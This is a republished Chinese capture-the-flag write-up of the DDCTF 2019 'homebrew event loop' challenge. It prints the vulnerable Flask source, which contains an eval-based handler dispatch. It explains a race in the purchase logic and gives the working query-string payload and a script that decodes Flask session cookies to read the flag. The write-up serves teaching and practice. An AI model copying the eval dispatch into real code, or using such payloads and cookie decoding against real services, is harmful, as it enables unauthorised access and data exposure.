BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

admin 2025年2月20日09:16:04评论8 views字数 8096阅读26分59秒阅读模式

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

查看源代码

  1 from flask import Flask, session, request, Response  2 import urllib  3   4 app = Flask(__name__)  5 app.secret_key = '*********************'  # censored  6 url_prefix = '/d5afe1f66147e857'  7   8   9 def FLAG(): 10     return '*********************'  # censored 11  12  13 def trigger_event(event): #trigger_event:标识触发事件,取值为 INSERT、UPDATE 或 DELETE; 14     session['log'].append(event) 15     if len(session['log']) > 5: 16         session['log'] = session['log'][-5:] 17     if type(event) == type([]): 18         request.event_queue += event 19     else: 20         request.event_queue.append(event) 21  22  23 def get_mid_str(haystack, prefix, postfix=None): 24     haystack = haystack[haystack.find(prefix)+len(prefix):] 25     if postfix is not None: 26         haystack = haystack[:haystack.find(postfix)] 27     return haystack 28  29  30 class RollBackException: 31     pass 32  33  34 def execute_event_loop(): 35     valid_event_chars = set( 36         'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 37     resp = None 38     while len(request.event_queue) > 0: 39         # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 40         event = request.event_queue[0] 41         request.event_queue = request.event_queue[1:] 42         if not event.startswith(('action:', 'func:')): 43             continue 44         for c in event: 45             if c not in valid_event_chars: 46                 break 47         else: 48             is_action = event[0] == 'a' 49             action = get_mid_str(event, ':', ';') 50             args = get_mid_str(event, action+';').split('#') 51             try: 52                 event_handler = eval( 53                     action + ('_handler' if is_action else '_function')) 54                 ret_val = event_handler(args) 55             except RollBackException: 56                 if resp is None: 57                     resp = '' 58                 resp += 'ERROR! All transactions have been cancelled. <br />' 59                 resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 60                 session['num_items'] = request.prev_session['num_items'] 61                 session['points'] = request.prev_session['points'] 62                 break 63             except Exception, e: 64                 if resp is None: 65                     resp = '' 66                 # resp += str(e) # only for debugging 67                 continue 68             if ret_val is not None: 69                 if resp is None: 70                     resp = ret_val 71                 else: 72                     resp += ret_val 73     if resp is None or resp == '': 74         resp = ('404 NOT FOUND', 404) 75     session.modified = True 76     return resp 77  78  79 @app.route(url_prefix+'/') 80 def entry_point(): 81     querystring = urllib.unquote(request.query_string) 82     request.event_queue = [] 83     if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 84         querystring = 'action:index;False#False' 85     if 'num_items' not in session: 86         session['num_items'] = 0 87         session['points'] = 3 88         session['log'] = [] 89     request.prev_session = dict(session) 90     trigger_event(querystring) 91     return execute_event_loop() 92  93 # handlers/functions below -------------------------------------- 94  95  96 def view_handler(args): 97     page = args[0] 98     html = '' 99     html += '[INFO] you have {} diamonds, {} points now.<br />'.format(100         session['num_items'], session['points'])101     if page == 'index':102         html += '<a href="./?action:index;True%23False">View source code</a><br />'103         html += '<a href="./?action:view;shop">Go to e-shop</a><br />'104         html += '<a href="./?action:view;reset">Reset</a><br />'105     elif page == 'shop':106         html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'107     elif page == 'reset':108         del session['num_items']109         html += 'Session reset.<br />'110     html += '<a href="./?action:view;index">Go back to index.html</a><br />'111     return html112 113 114 def index_handler(args):115     bool_show_source = str(args[0])116     bool_download_source = str(args[1])117     if bool_show_source == 'True':118 119         source = open('eventLoop.py', 'r')120         html = ''121         if bool_download_source != 'True':122             html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'123             html += '<a href="./?action:view;index">Go back to index.html</a><br />'124 125         for line in source:126             if bool_download_source != 'True':127                 html += line.replace('&', '&amp;').replace('t', '&nbsp;'*4).replace(128                     ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('n', '<br />')129             else:130                 html += line131         source.close()132 133         if bool_download_source == 'True':134             headers = {}135             headers['Content-Type'] = 'text/plain'136             headers['Content-Disposition'] = 'attachment; filename=serve.py'137             return Response(html, headers=headers)138         else:139             return html140     else:141         trigger_event('action:view;index')142 143 144 def buy_handler(args):145     num_items = int(args[0])146     if num_items <= 0:147         return 'invalid number({}) of diamonds to buy<br />'.format(args[0])148     session['num_items'] += num_items149     trigger_event(['func:consume_point;{}'.format(150         num_items), 'action:view;index'])151 152 153 def consume_point_function(args):154     point_to_consume = int(args[0])155     if session['points'] < point_to_consume:156         raise RollBackException()157     session['points'] -= point_to_consume158 159 160 def show_flag_function(args):161     flag = args[0]162     # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.163     return 'You naughty boy! ;) <br />'164 165 166 def get_flag_handler(args):167     if session['num_items'] >= 5:168         # show_flag_function has been disabled, no worries169         trigger_event('func:show_flag;' + FLAG())170     trigger_event('action:view;index')171 172 173 if __name__ == '__main__':174     app.run(debug=False, host='0.0.0.0')

代码太多,我们直接先看应该怎么获取flag

166 def get_flag_handler(args):167     if session['num_items'] >= 5:168         # show_flag_function has been disabled, no worries169         trigger_event('func:show_flag;' + FLAG())170     trigger_event('action:view;index')

if session[‘num_items’] >= 5的话,flag就在session里面

153 def consume_point_function(args):154     point_to_consume = int(args[0])155     if session['points'] < point_to_consume:156         raise RollBackException()157     session['points'] -= point_to_consume

作用是判断session中的points是否小于我们想要购买的数量。如果小于,那么就减掉。我们购买5个flag。但是。只有3个金币。它会先购买5个。然后判断钱是不是够,不够就再减去。

然后再从路由来看

@app.route(url_prefix+'/')#使用 route() 装饰器告诉 Flask 什么样的URL 能触发我们的函数def entry_point():     querystring = urllib.unquote(request.query_string)     #urllib.unquote  :urlencode逆向,就是把%40转化为@(字符串被当作url提交时会被自动进行url编码处理,在python里也有个urllib.urlencode的方法,可以很方便的把字典形式的参数进行url编码)    #request.query_string:它得到的是,url中?后面所有的值,最为一个字符串,比如action:index;False#False    request.event_queue = [] #定义一个数组    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:     #如果这个url?后面的值为空 或者 这个url?后面的值不是以action开头 或者 这个url?后面的值长度大于100          querystring = 'action:index;False#False'     if 'num_items' not in session: #如果session里面还没有num_items这个key        session['num_items'] = 0 #钻石数量        session['points'] = 3 #积分数量        session['log'] = []     request.prev_session = dict(session) #新建一个字典request.prev_session使其的值为字典session的值    trigger_event(querystring) #调用了trigger_event    return execute_event_loop() #进入到execute_event_loop函数

这里调用了trigger_event函数

def trigger_event(event):    session['log'].append(event)#将event添加到session['log']这个列表中    if len(session['log']) > 5: #如果列表session['log']中的元素数量大于等于5        session['log'] = session['log'][-5:]#session['log']取后五个元素    if type(event) == type([]): #如果event的类型是列表        request.event_queue += event #两个列表相加,在列表request.event_queue中添加一个元素 event    else:        request.event_queue.append(event)  #在列表request.event_queue中添加一个元素 event

再跟进一下execute_event_loop函数

        else:            is_action = event[0] == 'a'            action = get_mid_str(event, ':', ';')            args = get_mid_str(event, action+';').split('#')

action的话会直接返回第一个;之后的内容

参数这里用#做了一下分割,并返回一个列表到args里

event_handler = eval(action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) 

这里有一个任意函数调用。action传入之后会有一个后缀拼接,但是可以直接用#绕过,因为是eval执行的,eval会把这个字符串当作python代码执行,所以后缀就绕过了。所以可以action,trigger_event#;来调用自己绕过后缀拼接。从而执行多个函数

发现存在逻辑漏洞:就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

我们发现第148行,无论我们的钱够不够,都先给我们加上,之后再扣掉

若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buy和get_flag,那么buy和get_flag便先后进入队列。

根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。

最终payload为:

?action:trigger_event%23;action:buy;5%23action:get_flag;

 使用bp抓包可以抓到session

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

 使用脚本解密

#!/usr/bin/env python3import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption(payload):    payload, sig = payload.rsplit(b'.', 1)    payload, timestamp = payload.rsplit(b'.', 1)    decompress = False    if payload.startswith(b'.'):        payload = payload[1:]        decompress = True    try:        payload = base64_decode(payload)    except Exception as e:        raise Exception('Could not base64 decode the payload because of '                         'an exception')    if decompress:        try:            payload = zlib.decompress(payload)        except Exception as e:            raise Exception('Could not zlib decompress the payload before '                             'decoding the payload')    return session_json_serializer.loads(payload)if __name__ == '__main__':    print(decryption(sys.argv[1].encode()))

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

原文来自CSDN博主「Uzero.」|侵删

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解
中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。
为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解。想加入我们就给我们留言吧BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解

原文始发于微信公众号(寰宇卫士):BUUCTF--[DDCTF 2019]homebrew event loop解题步骤详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日09:16:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BUUCTF[DDCTF 2019]homebrew event loop解题步骤详解https://cn-sec.com/archives/898782.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息